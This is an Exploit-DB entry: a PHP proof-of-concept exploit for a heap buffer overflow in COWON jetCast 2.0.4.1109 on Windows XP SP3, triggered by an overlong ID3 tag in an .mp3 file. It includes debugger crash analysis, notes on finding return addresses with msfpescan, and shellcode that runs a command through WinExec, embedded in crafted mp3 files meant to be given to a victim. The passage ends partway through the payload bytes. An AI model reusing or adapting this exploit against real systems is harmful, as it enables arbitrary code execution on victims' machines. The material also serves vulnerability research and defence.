Exploit-DB #8780
Description: COWON America jetCast 2.0.4.1109 - '.mp3' Local Overflow
Type: local
Platform: windows
Date: 2009-05-26
Author: Nine:Situations:Group

Exploit:
<?php
        /*
        COWON America jetCast 2.0.4.1109 (.mp3) local heap buffer overlow exploit (xp/sp3)
        by Nine:Situations:Group::pyrokinesis
         
        site: http://retrogod.altervista.org/
        software site: http://www.jetaudio.com/
        Tested against JetAudio pack v.7.5.2
        ---------------------------------------------------------------------------------
        Passing an overlong string as id3 tag we have:
         
        (370.7a8): Access violation - code c0000005 (first chance)
        First chance exceptions are reported before any exception handling.
        This exception may be expected and handled.
        eax=41414141 ebx=00000394 ecx=41414141 edx=00160608 esi=010c1a00 edi=0302fbc8
        eip=00486db7 esp=0302fb14 ebp=0302fe7c iopl=0         nv up ei pl nz ac po nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
        jetCast+0x86db7:
        00486db7 8b11            mov     edx,dword ptr [ecx]  ds:0023:41414141=????????
         
        code:
        00486DB7  |. 8B11           MOV EDX,DWORD PTR DS:[ECX] <-------crash
        00486DB9  |. 8B8D ACFCFFFF  MOV ECX,DWORD PTR SS:[EBP-354]
        00486DBF  |. FF52 0C        CALL DWORD PTR DS:[EDX+C]
        ...
        -------------------------------------------------------------------------------------
        We have 4 bytes of ecx to redirect the program to edi, which keeps our buffer.
        To do that first we set ecx to a portion of memory which *always* (or nearly) keeps
        the filename.
        Look 0x01050000... no null char allowed, so I will use 0x01050101 to hit the right
        offset.
         
        To build it we need an address which points to a known call edi, compatible with
        windows filenames. To achieve that you may do so:
        x@pyro ~/framework-2.2/tools
        $ memdump (pid) jetcast
        x@pyro ~/framework-2.2/tools
        $ cd ..
        x@pyro ~/framework-2.2/
        $ msfpescan -d ./tools/jetcast/ -j edi
        0x7d03388b call edi
        ...
        x@pyro ~/framework-2.2/tools
        $ msfpescan -d ./tools/jetcast/ -x "\x8b\x38\x03\x7d"
        0x028997c4   8b38037d
        0x77e062f5   8b38037d
        ...
        then subtract c. Repeat this for each call edi, took me some time to find every
        combination by a script and I finally found a good one in the MSVCRT.DLL given
        with the program; a third match seems not possible.
        Note: first bytes of EDI keep some null chars, but as you can see, this
        portion is nop-equivalent:
        0348FBC8   0000             ADD BYTE PTR DS:[EAX],AL
        0348FBCA   0000             ADD BYTE PTR DS:[EAX],AL
        0348FBCC   0000             ADD BYTE PTR DS:[EAX],AL
        0348FBCE   0000             ADD BYTE PTR DS:[EAX],AL
        0348FBD0   90               NOP
        0348FBD1   90               NOP
        0348FBD2   90               NOP
        ...
         
        Usage: php 9sg_jetcast_poc.php
        It creates 4 files on your desktop, it says which will hit the right offset on
        your system (file path is important to achieve arbitrary code execution on a victim user
        so an attacker should persuade him to try to stream them ...)
        It works by dragging the file on it or by right clicking and selecting "Add files ...",
        not 100% reliable, version specific...
        -------------------------------------------------------------------------------------
        */
         
        error_reporting(0);
        if (php_sapi_name() <> "cli")
        {
                die("[!] Launch from the cli!");
        }
         
        $____scode = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, 0x7c86250d
        "\xff\xd3\x31\xc0\x50". "\xbb\x12\xcb\x81\x7c". //ExitProcess, 0x7c81cb12
        "\xff\xd3\xe8\xe0\xff\xff\xff\x63\x6d\x64\x2e\x65". "\x78\x65\x20\x2f\x63\x20". "cmd /c calc && ". "\xff";
         
        if (strlen($____scode) > 118)
        {
                die("[!] Shellcode too large here!");
        }
        $____BOOM = "\x49\x44\x33\x03\x00\x00\x00\x00\x07\x7b\x54\x49\x54\x32\x00\x00\x03\xbe\x00\x00\x00". str_repeat("\x90", 0x7c).//nop, very reusable
        "\xeb\x06\x90\x90". //jmp short
         
        //"\x01\x01\x06\x01". //less usually in this location...
        "\x01\x01\x05\x01". //eax - ecx, this works 80% of the times
        "\x90\x90\x90\x90". //nop
        $____scode. str_repeat("A", 0x01f0 - strlen($____scode)). "\x54\x41\x4c\x42\x00\x00\x00\x02\x00\x00\x00\x31\x54\x59\x45\x52\x00\x00\x00\x05\x00\x00\x00\x31\x39\x35\x30\x54\x43\x4f". "\x4e\x00\x00\x00\x02\x00\x00\x00\x31\x54\x43\x4f\x50\x00\x00\x00\x02\x00\x00\x00\x31\xff\xfb\x90\x64\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x49\x6e\x66\x6f\x00\x00\x00". "\x0f\x00\x00\x04\x7e\x00\x07\x57\x2e\x00\x02\x05\x08\x0a\x0d\x10\x12\x14\x17\x19\x1c\x1f\x21\x24\x27\x28\x2b\x2e\x30\x33\x36\x38". "\x3b\x3d\x40\x42\x45\x48\x4a\x4d\x4f\x51\x54\x57\x59\x5c\x5f\x61\x63\x66\x69\x6b\x6e\x71\x73\x76\x78\x7a\x7d\x80\x82\x85\x88\x8a". "\x8c\x8f\x92\x94\x97\x9a\x9c\x9e\xa1\xa3\xa6\xa9\xab\xae\xb1\xb2\xb5\xb8\xba\xbd\xc0\xc3\xc4\xc7\xca\xcc\xcf\xd2\xd4\xd7\xd9\xdb". "\xde\xe1\xe3\xe6\xe9\xeb\xed\xf0\xf3\xf5\xf8\xfb\xfd\x00\x00\x00\x37\x4c\x41\x4d\x45\x33\x2e\x39\x38\x20\x01\xaa\x00\x00\x00\x00". "\x00\x00\x00\x00\x14\x80\x24\x04\xc7\x4e\x00\x00\x80\x00\x07\x57\x2e\x4f\x7b\xf5\x99\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00